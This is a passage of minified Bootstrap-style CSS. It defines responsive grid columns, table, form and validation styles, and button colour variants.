25%}.col-lg-4{max-width:33.33333%;flex:0 0 33.33333%}.col-lg-5{max-width:41.66667%;flex:0 0 41.66667%}.col-lg-6{max-width:50%;flex:0 0 50%}.col-lg-7{max-width:58.33333%;flex:0 0 58.33333%}.col-lg-8{max-width:66.66667%;flex:0 0 66.66667%}.col-lg-9{max-width:75%;flex:0 0 75%}.col-lg-10{max-width:83.33333%;flex:0 0 83.33333%}.col-lg-11{max-width:91.66667%;flex:0 0 91.66667%}.col-lg-12{max-width:100%;flex:0 0 100%}.order-lg-first{order:-1}.order-lg-last{order:13}.order-lg-0{order:0}.order-lg-1{order:1}.order-lg-2{order:2}.order-lg-3{order:3}.order-lg-4{order:4}.order-lg-5{order:5}.order-lg-6{order:6}.order-lg-7{order:7}.order-lg-8{order:8}.order-lg-9{order:9}.order-lg-10{order:10}.order-lg-11{order:11}.order-lg-12{order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333%}.offset-lg-2{margin-left:16.66667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333%}.offset-lg-5{margin-left:41.66667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333%}.offset-lg-8{margin-left:66.66667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333%}.offset-lg-11{margin-left:91.66667%}}@media (min-width:1200px){.col-xl{max-width:100%;flex-basis:0;flex-grow:1}.col-xl-auto{width:auto;max-width:100%;flex:0 0 auto}.col-xl-1{max-width:8.33333%;flex:0 0 8.33333%}.col-xl-2{max-width:16.66667%;flex:0 0 16.66667%}.col-xl-3{max-width:25%;flex:0 0 25%}.col-xl-4{max-width:33.33333%;flex:0 0 33.33333%}.col-xl-5{max-width:41.66667%;flex:0 0 41.66667%}.col-xl-6{max-width:50%;flex:0 0 50%}.col-xl-7{max-width:58.33333%;flex:0 0 58.33333%}.col-xl-8{max-width:66.66667%;flex:0 0 66.66667%}.col-xl-9{max-width:75%;flex:0 0 75%}.col-xl-10{max-width:83.33333%;flex:0 0 83.33333%}.col-xl-11{max-width:91.66667%;flex:0 0 91.66667%}.col-xl-12{max-width:100%;flex:0 0 100%}.order-xl-first{order:-1}.order-xl-last{order:13}.order-xl-0{order:0}.order-xl-1{order:1}.order-xl-2{order:2}.order-xl-3{order:3}.order-xl-4{order:4}.order-xl-5{order:5}.order-xl-6{order:6}.order-xl-7{order:7}.order-xl-8{order:8}.order-xl-9{order:9}.order-xl-10{order:10}.order-xl-11{order:11}.order-xl-12{order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333%}.offset-xl-2{margin-left:16.66667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333%}.offset-xl-5{margin-left:41.66667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333%}.offset-xl-8{margin-left:66.66667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333%}.offset-xl-11{margin-left:91.66667%}}.table{width:100%;margin-bottom:1rem;color:#525f7f;background-color:transparent}.table td,.table th{padding:1rem;vertical-align:top;border-top:1px solid #e9ecef}.table thead th{vertical-align:bottom;border-bottom:2px solid #e9ecef}.table tbody+tbody{border-top:2px solid #e9ecef}.table-sm td,.table-sm th{padding:.5rem}.table-bordered{border:1px solid #e9ecef}.table-bordered td,.table-bordered th{border:1px solid #e9ecef}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(246,249,252,.3)}.table-hover tbody tr:hover{color:#525f7f;background-color:#f6f9fc}.table-primary,.table-primary>td,.table-primary>th{background-color:#d2d8f7}.table-primary tbody+tbody,.table-primary td,.table-primary th,.table-primary thead th{border-color:#abb6f1}.table-hover .table-primary:hover{background-color:#bcc5f3}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#bcc5f3}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#fdfefe}.table-secondary tbody+tbody,.table-secondary td,.table-secondary th,.table-secondary thead th{border-color:#fbfcfd}.table-hover .table-secondary:hover{background-color:#ecf6f6}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#ecf6f6}.table-success,.table-success>td,.table-success>th{background-color:#c4f1de}.table-success tbody+tbody,.table-success td,.table-success th,.table-success thead th{border-color:#92e6c2}.table-hover .table-success:hover{background-color:#afecd2}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#afecd2}.table-info,.table-info>td,.table-info>th{background-color:#bcf1fb}.table-info tbody+tbody,.table-info td,.table-info th,.table-info thead th{border-color:#83e5f7}.table-hover .table-info:hover{background-color:#a4ecfa}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#a4ecfa}.table-warning,.table-warning>td,.table-warning>th{background-color:#fed3ca}.table-warning tbody+tbody,.table-warning td,.table-warning th,.table-warning thead th{border-color:#fdae9c}.table-hover .table-warning:hover{background-color:#febeb1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#febeb1}.table-danger,.table-danger>td,.table-danger>th{background-color:#fcc7d1}.table-danger tbody+tbody,.table-danger td,.table-danger th,.table-danger thead th{border-color:#fa96aa}.table-hover .table-danger:hover{background-color:#fbafbd}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#fbafbd}.table-light,.table-light>td,.table-light>th{background-color:#e8eaed}.table-light tbody+tbody,.table-light td,.table-light th,.table-light thead th{border-color:#d4d9dd}.table-hover .table-light:hover{background-color:#dadde2}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#dadde2}.table-dark,.table-dark>td,.table-dark>th{background-color:#c1c2c3}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#8c8e90}.table-hover .table-dark:hover{background-color:#b4b5b6}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b4b5b6}.table-default,.table-default>td,.table-default>th{background-color:#bec4cd}.table-default tbody+tbody,.table-default td,.table-default th,.table-default thead th{border-color:#8691a2}.table-hover .table-default:hover{background-color:#b0b7c2}.table-hover .table-default:hover>td,.table-hover .table-default:hover>th{background-color:#b0b7c2}.table-white,.table-white>td,.table-white>th{background-color:#fff}.table-white tbody+tbody,.table-white td,.table-white th,.table-white thead th{border-color:#fff}.table-hover .table-white:hover{background-color:#f2f2f2}.table-hover .table-white:hover>td,.table-hover .table-white:hover>th{background-color:#f2f2f2}.table-neutral,.table-neutral>td,.table-neutral>th{background-color:#fff}.table-neutral tbody+tbody,.table-neutral td,.table-neutral th,.table-neutral thead th{border-color:#fff}.table-hover .table-neutral:hover{background-color:#f2f2f2}.table-hover .table-neutral:hover>td,.table-hover .table-neutral:hover>th{background-color:#f2f2f2}.table-darker,.table-darker>td,.table-darker>th{background-color:#b8b8b8}.table-darker tbody+tbody,.table-darker td,.table-darker th,.table-darker thead th{border-color:#7a7a7a}.table-hover .table-darker:hover{background-color:#ababab}.table-hover .table-darker:hover>td,.table-hover .table-darker:hover>th{background-color:#ababab}.table-active,.table-active>td,.table-active>th{background-color:#f6f9fc}.table-hover .table-active:hover{background-color:#e3ecf6}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:#e3ecf6}.table .thead-dark th{color:#f8f9fe;border-color:#1f3a68;background-color:#172b4d}.table .thead-light th{color:#8898aa;border-color:#e9ecef;background-color:#f6f9fc}.table-dark{color:#f8f9fe;background-color:#172b4d}.table-dark td,.table-dark th,.table-dark thead th{border-color:#1f3a68}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,.05)}.table-dark.table-hover tbody tr:hover{color:#f8f9fe;background-color:rgba(255,255,255,.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;overflow-x:auto;width:100%;-webkit-overflow-scrolling:touch}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;overflow-x:auto;width:100%;-webkit-overflow-scrolling:touch}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;overflow-x:auto;width:100%;-webkit-overflow-scrolling:touch}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;overflow-x:auto;width:100%;-webkit-overflow-scrolling:touch}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;overflow-x:auto;width:100%;-webkit-overflow-scrolling:touch}.table-responsive>.table-bordered{border:0}.form-input{font-size:.700rem;font-weight:400;line-height:1.5;padding:.625rem .75rem;transition:all .15s cubic-bezier(.68,-.55,.265,1.55);color:#8898aa;border:1px solid #dee2e6;border-radius:.25rem;background-color:#fff;background-clip:padding-box;box-shadow:0 3px 2px rgba(233,236,239,.05)}.form-control{font-size:.875rem;font-weight:400;line-height:1.5;display:block;width:100%;height:calc(1.5em + 1.25rem + 2px);padding:.625rem .75rem;transition:all .15s cubic-bezier(.68,-.55,.265,1.55);color:#8898aa;border:1px solid #dee2e6;border-radius:.25rem;background-color:#fff;background-clip:padding-box;box-shadow:0 3px 2px rgba(233,236,239,.05)}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control::-ms-expand{border:0;background-color:transparent}.form-control:focus{color:#8898aa;border-color:#5e72e4;outline:0;background-color:#fff;box-shadow:0 3px 9px rgba(50,50,9,0),3px 4px 8px rgba(94,114,228,.1)}.form-control::-ms-input-placeholder{opacity:1;color:#adb5bd}.form-control::placeholder{opacity:1;color:#adb5bd}.form-control:disabled,.form-control[readonly]{opacity:1;background-color:#e9ecef}select.form-control:focus::-ms-value{color:#8898aa;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{font-size:inherit;line-height:1.5;margin-bottom:0;padding-top:calc(.625rem + 1px);padding-bottom:calc(.625rem + 1px)}.col-form-label-lg{font-size:.875rem;line-height:1.5;padding-top:calc(.875rem + 1px);padding-bottom:calc(.875rem + 1px)}.col-form-label-sm{font-size:.75rem;line-height:1.5;padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px)}.form-control-plaintext{line-height:1.5;display:block;width:100%;margin-bottom:0;padding-top:.625rem;padding-bottom:.625rem;color:#525f7f;border:solid transparent;border-width:1px 0;background-color:transparent}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{font-size:.75rem;line-height:1.5;height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;border-radius:.25rem}.form-control-lg{font-size:.875rem;line-height:1.5;height:calc(1.5em + 1.75rem + 2px);padding:.875rem 1rem;border-radius:.4375rem}select.form-control[multiple],select.form-control[size]{height:auto}textarea.form-control{height:auto}.form-group{margin-bottom:1.5rem}.form-text{display:block;margin-top:.25rem}.form-row{display:flex;margin-right:-5px;margin-left:-5px;flex-wrap:wrap}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label{color:#8898aa}.form-check-label{margin-bottom:0}.form-check-inline{display:inline-flex;margin-right:.75rem;padding-left:0;align-items:center}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:.3125rem;margin-left:0}.valid-feedback{font-size:80%;display:none;width:100%;margin-top:.25rem;color:#2dce89}.valid-tooltip{font-size:.875rem;line-height:1;position:absolute;z-index:5;top:100%;display:none;max-width:100%;margin-top:.1rem;padding:.5rem;color:#fff;border-radius:.2rem;background-color:rgba(45,206,137,.8)}.custom-select.is-valid,.form-control.is-valid,.was-validated .custom-select:valid,.was-validated .form-control:valid{border-color:#2dce89}.custom-select.is-valid:focus,.form-control.is-valid:focus,.was-validated .custom-select:valid:focus,.was-validated .form-control:valid:focus{border-color:#2dce89}.custom-select.is-valid~.valid-feedback,.custom-select.is-valid~.valid-tooltip,.form-control.is-valid~.valid-feedback,.form-control.is-valid~.valid-tooltip,.was-validated .custom-select:valid~.valid-feedback,.was-validated .custom-select:valid~.valid-tooltip,.was-validated .form-control:valid~.valid-feedback,.was-validated .form-control:valid~.valid-tooltip{display:block}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#2dce89}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#2dce89}.custom-control-input.is-valid~.custom-control-label::before,.was-validated .custom-control-input:valid~.custom-control-label::before{border-color:#93e7c3;background-color:#93e7c3}.custom-control-input.is-valid~.valid-feedback,.custom-control-input.is-valid~.valid-tooltip,.was-validated .custom-control-input:valid~.valid-feedback,.was-validated .custom-control-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid:checked~.custom-control-label::before,.was-validated .custom-control-input:valid:checked~.custom-control-label::before{border-color:#93e7c3;background-color:#54daa1}.custom-control-input.is-valid:focus~.custom-control-label::before,.was-validated .custom-control-input:valid:focus~.custom-control-label::before{box-shadow:0 0 0 1px #f8f9fe,0 0 0 0 rgba(45,206,137,.25)}.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#2dce89}.custom-file-input.is-valid~.custom-file-label::before,.was-validated .custom-file-input:valid~.custom-file-label::before{border-color:inherit}.custom-file-input.is-valid~.valid-feedback,.custom-file-input.is-valid~.valid-tooltip,.was-validated .custom-file-input:valid~.valid-feedback,.was-validated .custom-file-input:valid~.valid-tooltip{display:block}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{box-shadow:0 0 0 0 rgba(45,206,137,.25)}.invalid-feedback{font-size:80%;display:none;width:100%;margin-top:.25rem;color:#fb6340}.invalid-tooltip{font-size:.875rem;line-height:1;position:absolute;z-index:5;top:100%;display:none;max-width:100%;margin-top:.1rem;padding:.5rem;color:#fff;border-radius:.2rem;background-color:rgba(251,99,64,.8)}.custom-select.is-invalid,.form-control.is-invalid,.was-validated .custom-select:invalid,.was-validated .form-control:invalid{border-color:#fb6340}.custom-select.is-invalid:focus,.form-control.is-invalid:focus,.was-validated .custom-select:invalid:focus,.was-validated .form-control:invalid:focus{border-color:#fb6340}.custom-select.is-invalid~.invalid-feedback,.custom-select.is-invalid~.invalid-tooltip,.form-control.is-invalid~.invalid-feedback,.form-control.is-invalid~.invalid-tooltip,.was-validated .custom-select:invalid~.invalid-feedback,.was-validated .custom-select:invalid~.invalid-tooltip,.was-validated .form-control:invalid~.invalid-feedback,.was-validated .form-control:invalid~.invalid-tooltip{display:block}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#fb6340}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#fb6340}.custom-control-input.is-invalid~.custom-control-label::before,.was-validated .custom-control-input:invalid~.custom-control-label::before{border-color:#fec9bd;background-color:#fec9bd}.custom-control-input.is-invalid~.invalid-feedback,.custom-control-input.is-invalid~.invalid-tooltip,.was-validated .custom-control-input:invalid~.invalid-feedback,.was-validated .custom-control-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid:checked~.custom-control-label::before,.was-validated .custom-control-input:invalid:checked~.custom-control-label::before{border-color:#fec9bd;background-color:#fc8c72}.custom-control-input.is-invalid:focus~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus~.custom-control-label::before{box-shadow:0 0 0 1px #f8f9fe,0 0 0 0 rgba(251,99,64,.25)}.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#fb6340}.custom-file-input.is-invalid~.custom-file-label::before,.was-validated .custom-file-input:invalid~.custom-file-label::before{border-color:inherit}.custom-file-input.is-invalid~.invalid-feedback,.custom-file-input.is-invalid~.invalid-tooltip,.was-validated .custom-file-input:invalid~.invalid-feedback,.was-validated .custom-file-input:invalid~.invalid-tooltip{display:block}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{box-shadow:0 0 0 0 rgba(251,99,64,.25)}.form-inline{display:flex;flex-flow:row wrap;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{display:flex;margin-bottom:0;align-items:center;justify-content:center}.form-inline .form-group{display:flex;margin-bottom:0;flex:0 0 auto;flex-flow:row wrap;align-items:center}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:flex;width:auto;padding-left:0;align-items:center;justify-content:center}.form-inline .form-check-input{position:relative;margin-top:0;margin-right:.25rem;margin-left:0;flex-shrink:0}.form-inline .custom-control{align-items:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{font-size:.875rem;font-weight:600;line-height:1.5;display:inline-block;padding:.625rem 1.25rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;text-align:center;vertical-align:middle;color:#525f7f;border:1px solid transparent;border-radius:.25rem;background-color:transparent}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{text-decoration:none;color:#525f7f}.btn.focus,.btn:focus{outline:0;box-shadow:0 7px 14px rgba(50,50,93,.1),0 3px 6px rgba(0,0,0,.08)}.btn.disabled,.btn:disabled{opacity:.65;box-shadow:none}.btn:not(:disabled):not(.disabled).active,.btn:not(:disabled):not(.disabled):active{box-shadow:none}.btn:not(:disabled):not(.disabled).active:focus,.btn:not(:disabled):not(.disabled):active:focus{box-shadow:0 7px 14px rgba(50,50,93,.1),0 3px 6px rgba(0,0,0,.08)}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;border-color:#5e72e4;background-color:#5e72e4;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-primary:hover{color:#fff;border-color:#5e72e4;background-color:#5e72e4}.btn-primary.focus,.btn-primary:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(94,114,228,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;border-color:#5e72e4;background-color:#5e72e4}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;border-color:#5e72e4;background-color:#324cdd}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(94,114,228,.5)}.btn-secondary{color:#212529;border-color:#f7fafc;background-color:#f7fafc;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-secondary:hover{color:#212529;border-color:#f7fafc;background-color:#f7fafc}.btn-secondary.focus,.btn-secondary:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(247,250,252,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#212529;border-color:#f7fafc;background-color:#f7fafc}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#212529;border-color:#f7fafc;background-color:#d2e3ee}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(247,250,252,.5)}.btn-success{color:#fff;border-color:#2dce89;background-color:#2dce89;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-success:hover{color:#fff;border-color:#2dce89;background-color:#2dce89}.btn-success.focus,.btn-success:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(45,206,137,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;border-color:#2dce89;background-color:#2dce89}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;border-color:#2dce89;background-color:#24a46d}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(45,206,137,.5)}.btn-info{color:#fff;border-color:#11cdef;background-color:#11cdef;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-info:hover{color:#fff;border-color:#11cdef;background-color:#11cdef}.btn-info.focus,.btn-info:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(17,205,239,.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;border-color:#11cdef;background-color:#11cdef}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;border-color:#11cdef;background-color:#0da5c0}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(17,205,239,.5)}.btn-warning{color:#fff;border-color:#fb6340;background-color:#fb6340;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-warning:hover{color:#fff;border-color:#fb6340;background-color:#fb6340}.btn-warning.focus,.btn-warning:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(251,99,64,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#fff;border-color:#fb6340;background-color:#fb6340}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#fff;border-color:#fb6340;background-color:#fa3a0e}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(251,99,64,.5)}.btn-danger{color:#fff;border-color:#f5365c;background-color:#f5365c;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-danger:hover{color:#fff;border-color:#f5365c;background-color:#f5365c}.btn-danger.focus,.btn-danger:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(245,54,92,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;border-color:#f5365c;background-color:#f5365c}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;border-color:#f5365c;background-color:#ec0c38}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(245,54,92,.5)}.btn-light{color:#fff;border-color:#adb5bd;background-color:#adb5bd;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-light:hover{color:#fff;border-color:#adb5bd;background-color:#adb5bd}.btn-light.focus,.btn-light:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(173,181,189,.5)}.btn-light.disabled,.btn-light:disabled{color:#fff;border-color:#adb5bd;background-color:#adb5bd}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#fff;border-color:#adb5bd;background-color:#919ca6}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(173,181,189,.5)}.btn-dark{color:#fff;border-color:#212529;background-color:#212529;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-dark:hover{color:#fff;border-color:#212529;background-color:#212529}.btn-dark.focus,.btn-dark:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(33,37,41,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;border-color:#212529;background-color:#212529}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;border-color:#212529;background-color:#0a0c0d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(33,37,41,.5)}.btn-default{color:#fff;border-color:#172b4d;background-color:#172b4d;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-default:hover{color:#fff;border-color:#172b4d;background-color:#172b4d}.btn-default.focus,.btn-default:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(23,43,77,.5)}.btn-default.disabled,.btn-default:disabled{color:#fff;border-color:#172b4d;background-color:#172b4d}.btn-default:not(:disabled):not(.disabled).active,.btn-default:not(:disabled):not(.disabled):active,.show>.btn-default.dropdown-toggle{color:#fff;border-color:#172b4d;background-color:#0b1526}.btn-default:not(:disabled):not(.disabled).active:focus,.btn-default:not(:disabled):not(.disabled):active:focus,.show>.btn-default.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(23,43,77,.5)}.btn-white{color:#212529;border-color:#fff;background-color:#fff;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-white:hover{color:#212529;border-color:#fff;background-color:#fff}.btn-white.focus,.btn-white:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(255,255,255,.5)}.btn-white.disabled,.btn-white:disabled{color:#212529;border-color:#fff;background-color:#fff}.btn-white:not(:disabled):not(.disabled).active,.btn-white:not(:disabled):not(.disabled):active,.show>.btn-white.dropdown-toggle{color:#212529;border-color:#fff;background-color:#e6e6e6}.btn-white:not(:disabled):not(.disabled).active:focus,.btn-white:not(:disabled):not(.disabled):active:focus,.show>.btn-white.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(255,255,255,.5)}.btn-neutral{color:#212529;border-color:#fff;background-color:#fff;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-neutral:hover{color:#212529;border-color:#fff;background-color:#fff}.btn-neutral.focus,.btn-neutral:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(255,255,255,.5)}.btn-neutral.disabled,.btn-neutral:disabled{color:#212529;border-color:#fff;background-color:#fff}.btn-neutral:not(:disabled):not(.disabled).active,.btn-neutral:not(:disabled):not(.disabled):active,.show>.btn-neutral.dropdown-toggle{color:#212529;border-color:#fff;background-color:#e6e6e6}.btn-neutral:not(:disabled):not(.disabled).active:focus,.btn-neutral:not(:disabled):not(.disabled):active:focus,.show>.btn-neutral.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(255,255,255,.5)}.btn-darker{color:#fff;border-color:#000;background-color:#000;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-darker:hover{color:#fff;border-color:#000;background-color:#000}.btn-darker.focus,.btn-darker:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(0,0,0,.5)}.btn-darker.disabled,.btn-darker:disabled{color:#fff;border-color:#000;background-color:#000}.btn-darker:not(:disabled):not(.disabled).active,.btn-darker:not(:disabled):not(.disabled):active,.show>.btn-darker.dropdown-toggle{color:#fff;border-color:#000;background-color:#000}.btn-darker:not(:disabled):not(.disabled).active:focus,.btn-darker:not(:disabled):not(.disabled):active:focus,.show>.btn-darker.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(0,0,0,.5)}.btn-outline-primary{color:#5e72e4;border-color:#5e72e4;background-color:transparent;background-image:none}.btn-outline-primary:hover{color:#fff;border-color:#5e72e4;background-color:#5e72e4}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 0 rgba(94,114,228,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#5e72e4;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;border-color:#5e72e4;background-color:#5e72e4}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 0 